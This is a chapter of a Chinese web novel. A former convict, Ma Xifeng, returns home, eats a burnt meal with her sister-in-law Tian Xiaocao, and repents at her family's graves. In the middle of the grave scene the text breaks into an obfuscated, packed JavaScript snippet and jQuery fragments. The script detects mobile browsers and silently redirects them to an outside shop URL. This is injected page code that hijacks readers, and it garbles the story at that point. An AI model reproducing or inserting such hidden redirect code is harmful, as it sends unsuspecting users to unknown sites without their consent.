推开那扇掉漆的木门时，夕阳正惨淡地挂在电线杆上，把两个女人的影子拉得极长。
马喜凤缩在田小草身后，脚尖甚至不敢完全踏实，那双沾满了污垢的旧胶鞋在青砖地上磨蹭出局促的声响。
“喜凤，这就是我们的家了。”田小草轻声介绍。
马喜凤没说话，她那双浑浊的眼飞快地在院子里扫了一圈。
曾经，她是高傲的凤凰，总不甘平凡，她嫌弃农村土气，嫌弃农活。可现在，当她真正进入到城市里，干着饿一顿饱一顿的工作，才明晰了自己的廉价与卑微。
她望着这坚固的水泥房子，想起了她这些天的风餐露宿，眼神竟然透出一种类似劫后余生的贪婪。
“你先坐，我去灶间弄口吃的。”田小草把她按在小马扎上，动作轻柔得像是在安抚一只小猫。
灶间里，柴火毕剥作响。
田小草心里乱糟糟的，她原本也怨喜凤为什么出走这么久不回家，可在她今日看到她的疲惫不堪后，她只想做顿好的，想把这些年喜凤受的苦，都炒进菜里，再也不见。
锅里的油温升起，葱花炸得滋滋作响，一切祥和美好之时，院门突然被重重地踹开了。
切菜的刀落在砧板上，发出的声音却有些乱了章法。
田耗子拎着半瓶劣质白酒，摇摇晃晃地撞进院子，“小草！肉呢？爹今天手气好……”
他的话音在看到马喜凤的那一秒骤然掐断，那双被酒精泡得有些浑浊的眼猛地瞪大，像是见了鬼，又像是见了杀父仇人。
“马喜凤？”田耗子手里的酒瓶重重顿在石桌上，发出一声令人心惊的脆响，“你居然没死？你居然还有脸回来！”
马喜凤像被雷劈了一样，猛地从马扎上弹起来，却因为腿软，又重重地跌了回去。
她低着头，恨不得把脑袋塞进那破旧的衣领里，浑身抖得像筛糠。
“好哇，害人精回来了！你是嫌咱们家败得不够快，准备再回来补一刀是不是？”
田耗子大声出言讽刺，每一个字都淬了毒，“你是卷走的钱花光了？还是在那里面待得皮痒了？像你这种丧门星，就该死在外面，烂在泥里，你回来干什么！”
“爹！你住口！”
田小草拎着锅铲，猛地从厨房冲了出来。她挡在喜凤身前，眼神犀利得像是一道闪电，刺得田耗子缩了下脖子。
“她不是凶手！”田小草的声音由于激动而变得尖锐，“以前那些事儿她确实鬼迷心窍当了从犯，可她自首了！她坐了那么久的牢，在那铁窗户后面把账还清了！”
“现在的马喜凤，不欠谁的钱，也不欠谁的命。她是一个合法的、跟你跟我都平等的公民！”
田耗子没见过女儿发这么大的火，讪讪地往后退了两步，满腔的怒火也只能作罢。
就这么耽误的一会儿，灶间里传出一股刺鼻的焦糊味。
田小草急忙折返回去，可为时已晚了。
锅里的白菜粉条已经被收干了汁，底部结了一层黑黢黢的焦壳，苦涩的味道在空气里弥漫开来。
饭桌上，气氛冷得能结冰。
一碗糊了半截的白菜，几块凉透的馒头。田耗子坐在一旁，用筷子挑了挑那盘焦黑的菜，“这就是你迎贵人的酒席？糊成这样，给狗吃狗都得绕道走。”
说完，他把筷子重重一拍，理都不理喜凤，转身钻进房里去寻他的酒了。
饭桌边只剩下小草和喜凤。
田小草如坐针毡。
她小心翼翼地看向喜凤，心里有些不安。喜凤多娇气啊，碗里有一粒沙子都要掀桌子，买回来的菜要是叶子黄了一点，能念叨小草半个月。
看着这盘焦黑如炭的菜，小草窘迫得想找个地缝钻进去。
这盘菜不仅是糊了，更像是把她那点可怜的尊严也给烧焦了。
“喜凤，对不起，我刚才是急糊涂了，”小草讷讷地开口，手试探着伸向那盘菜，“这菜苦，不能吃了。我、我把它吃掉，我再去给你煎个蛋……”
她想把那盘糊了的菜挪到自己面前，想一个人咽下这份尴尬。
可就在她的手刚碰到盘边缘时，一只瘦得只剩下骨头的手，稳稳地按住了她的手背。
“为什么不给我吃？”
喜凤开口了。
这是她回来后，第一次主动跟小草说话。
她不懂她，从来都不懂她。为什么这么善良，为什么这么无私，明明她也只是个普通人，为什么要扛这么重的担子，为什么要为别人付出这么多？
田小草愣住了，她舍不得让喜凤吃这些坏了的菜，也舍不得把这点粮食倒掉，毕竟在这苦哈哈的日子里，一棵白菜也是命。
她犹豫着，想解释自己内心的那点寒酸和舍不得，却又怕刺伤了喜凤。
“这、这都苦了……”
话还没说完，只见喜凤颤抖着拿起筷子，一筷子夹起了大半盘带焦壳的白菜。
她没有丝毫犹豫，大口地塞进嘴里。
由于塞得太急，菜汁顺着她的嘴角渗出来。
那焦糊的味道，苦得让人舌根发麻，苦得让人灵魂战栗。
喜凤用力地咀嚼着，每嚼一下，那股苦涩就顺着喉咙往下流。
她一边吃，眼泪一边无声无息地往下掉，成串地砸进饭碗里，砸在那些焦黑的菜叶上。
“好吃。”
喜凤包着满嘴的糊菜，声音破碎得不成样子，“小草，真好吃。这是这么多年，我吃过最香的一口饭。”
田小草看着她，看着这个曾经连金子都嫌不纯的女人，此刻正大口吞咽着苦涩的焦炭。
她终于明白，喜凤吃的不是菜，是在咽下自己那些荒唐的过去。
“喜凤……”
田小草一把按住她的手，眼泪也跟着夺眶而出。她发誓，以后再也不会让喜凤吃苦了。
她没有再劝，而是也拿起筷子，夹起剩下的一块焦黑的粉条，塞进嘴里。
那一刻，苦涩在舌尖蔓延，却在心底化开了一丝隐秘的、带着烟火气的甜。
通往李家祖坟的路，已经荒了很久。
田小草走在前面，怀里紧紧抱着一个盖着白布的竹篮，里面是她刚去集上精挑细选的冥纸、香烛，还有两个圆润的红富士苹果。
她走得慢，每一步都踏在枯萎的茅草上，发出沙哑的断裂声。
身后的马喜凤，换上了田小草的一件旧的确良衬衫。
衣服大了两号，松松垮垮地挂在她那干瘪的骨架上，越发显出一种病态的单薄。
“喜凤，慢点走。过了前面那个坡，就到了。”田小草回过头，轻轻拉了喜凤一把。
喜凤的手抖得厉害，像是一片在深秋里挣扎的枯叶。
她没说话，喉咙里发出一声沉闷的呜咽。
这地方，她梦见过无数次，在监狱那冷硬的通铺上，在澡堂那些肮脏的水汽里，她无数次梦见自己回到了这片土地，可梦里的她总是被众人的唾沫淹没，被李家的列祖列宗乱棍打出。
现在，她真的回来了。
李家的坟头打理得很干净。
田小草蹲下身，利落地拔掉几根刚冒头的杂草，然后一言不发地摆上祭品。
马喜凤站在几步远的地方，死死盯着那座稍微新一些的坟头。
那碑石上刻着的名字，让她如遭雷击，整个人僵立在原地，瞳孔剧烈地收缩。
“二顺……二顺怎么也在那儿？”喜凤的声音陡然变得尖锐。
李二顺虽然窝囊，虽然被她嫌弃了一辈子，但他是那个家里最像山的人。他应该还活着，应该在某个角落恨着她。
只是，为什么他会死了？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301561|198649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
田小草擦了擦墓碑上的浮灰，长叹了一口气，“山洪爆发，二顺在回家的路上遇到了，他没顾着自己，冲进水里救了一个十几岁的孩子……孩子救上来了，他却没能回来。”
“溺……溺亡？”
马喜凤只觉得一阵天旋地转，耳边仿佛响起了那年洪水咆哮的声音。
那是她亲手推开的男人。
她总骂他没出息，骂他一辈子只能守着那几亩薄田。可就是这样一个她最瞧不起的人，最后用最壮烈的方式，把命还给了这片土地。
“都是我……都是我害的……”喜凤双腿一软，重重地跌坐在泥地上。
她想起自己当年为了那点虚荣心，闹得李家夫离子散，想起二顺最后看她时，那双充满了失望却又带着一丝卑微爱意的眼睛。
如果没有她的那些混账事，二顺或许还在家里安稳地种地，李家不会散。
“二顺啊——！”
一声凄厉的哀嚎，划破了县城郊外的死寂。
马喜凤像是疯了一样，手脚并用地爬到墓碑前。她不再顾及什么体面，不再是那个高高在上的马喜凤。她把脸埋在冰冷的泥土里，双手抓挠着坟头的枯草，指甲缝里渗出了血迹。
“婆婆……二顺……我错了！我真的错了！”
她每喊一声，就重重地在地上磕一个响头。
额头撞击地面的闷响，在这空旷的野地里显得格外惊心动魄。
“我马喜凤不是人，我鬼迷心窍，我丧尽天良……你们在那头，千万别放过我，你们变成厉鬼也来找我啊！”
她跪在那儿，把李家的每一个人都叫了一遍。
她向已经作古的婆婆忏悔，向舍命救人的二顺道歉，甚至向这地底下的每一缕冤魂求饶。
那是她这辈子最真心的时刻。
那层包裹了她几十年虚伪且尖锐的壳，终于在这座荒坟前，被二顺的死讯彻底击得粉碎。
“小草……嫂子……”喜凤猛地转过头，泪流满面地抓住田小草的裤脚，眼神里全是破碎的哀求，“我不配当妈。求求你，替我照顾好大龙，别让他像我这样，别让他走上我的老路……”
田小草低头看着她。
没有快感，没有报复后的怜悯，只有一种历经劫难后的平静。
她缓缓从随身的怀兜里掏出一个红布包。她一层层揭开红布，露出了里面那只成色并不算极品、却被摩挲得温润无比的翡翠玉镯。
“喜凤，还记得这个吗？”
马喜凤的哭声戛然而止。
她呆呆地看着那只镯子，那是李家的传家宝，是老太太压箱底的宝贝，她总恨她将这镯子给了田小草，也由此酿成了一系列祸事。
“婆婆走之前，特意说，喜凤这孩子心思重，是因为没安全感。她让我把这镯子收好，说万一哪天你回来了，走投无路了，让我把这个交给你。”
田小草拉起喜凤那双布满了裂口的手。
“婆婆说，这镯子锁的是李家的魂。只要镯子还在你手上，你就是李家的儿媳妇。她……她从来没怪过你。她说你是被迷了眼，终究会有醒的一天。”
喜凤看着那只温润的绿意，感受着玉石贴在皮肤上的冰冷，那股子愧疚与痛恨，终于在那一瞬间彻底爆发了。
“啊——！”
她一把抱住那只镯子，像是抱住了她这辈子唯一的一点慈悲。
她想起婆婆生前的那些唠叨，想起那个老太太在被她气得浑身发抖时，依然会在深夜给她留一碗热汤。
田小草叹了口气，蹲下身去，像是在澡堂里那样，将那个嚎啕大哭的女人再次揽入怀中。
喜凤蜷缩在田小草温热的怀里，把头埋在她的肩窝，放声大哭。
泪水浸透了田小草的衣襟，那种滚烫的热度，顺着皮肤渗进了骨子里。